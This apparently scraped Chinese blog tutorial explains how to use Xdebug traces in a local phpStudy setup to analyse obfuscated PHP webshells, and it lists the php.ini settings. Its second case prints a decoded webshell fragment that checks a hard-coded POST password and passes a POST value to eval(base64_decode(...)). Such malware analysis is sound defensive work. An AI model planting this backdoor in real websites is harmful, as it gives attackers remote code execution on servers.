使用Xdebug插件分析webshell

环境:win7/phpstudy2016

配置:php.ini文件

[XDebug]
xdebug.auto_trace = 1
xdebug.trace_format = 0
xdebug.trace_output_dir="C:\phpStudy\tmp\xdebug"
xdebug.trace_options = 0

xdebug.collect_params = 4
xdebug.collect_return = 1
xdebug.collect_vars = 1
xdebug.collect_assignments = 1

xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_dir = "C:\phpStudy\tmp\xdebug"
xdebug.profiler_output_name = "cache.out.%t-%s"

xdebug.remote_enable = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
zend_extension="C:\phpStudy\php\php-5.5.38\ext\php_xdebug.dll"

注意配置里xdebug路径设置,根据自己的环境变量情况而设置

使用:
将webshell放到PHPstudy的web目录,并浏览器访问。

案例一
访问后会在C:\phpStudy\tmp\xdebug目录下产生下图所示文件:

使用Xdebug插件分析webshell_第1张图片
xdebug生成的文件

trace.825081618.xt就是我们要看的文件
使用notepad++打开,并选则语言格式为php方便查看
使用Xdebug插件分析webshell_第2张图片
文本内容

能够观察到shell的执行流程,有助于我们分析混淆后的shell。
使用Xdebug插件分析webshell_第3张图片
webshell密码

但是解不开~好尴尬

案例二
对有些编码的shell可读性比较差,这时候xdebug就发挥用途了。
编过码的shell

使用Xdebug插件分析webshell_第4张图片
编过码的shell

直接丢www目录然后浏览器访问。
这时在 C:\phpStudy\tmp\xdebug下生成的xt文件我们打开
还有base64编码的内容

接着往下看:
得到base64内容

最终手工稍微整理下的到可读性良好的shell:

1)
{   
    foreach ($_POST as $var)
        {
            if (!isset($code)) $code = $var;
            elseif (!isset($pass)) $pass = $var;
            else break;
        }       
        if ($pass == "8SxLFVDK5kt1Z6ET30tvNFf0xyn0lSm1")
        {
            eval(base64_decode($code));
        }
}
exit;"), 
'41ded52a555f862bbdf1cd35a576542e');
?>

你可能感兴趣的:(使用Xdebug插件分析webshell)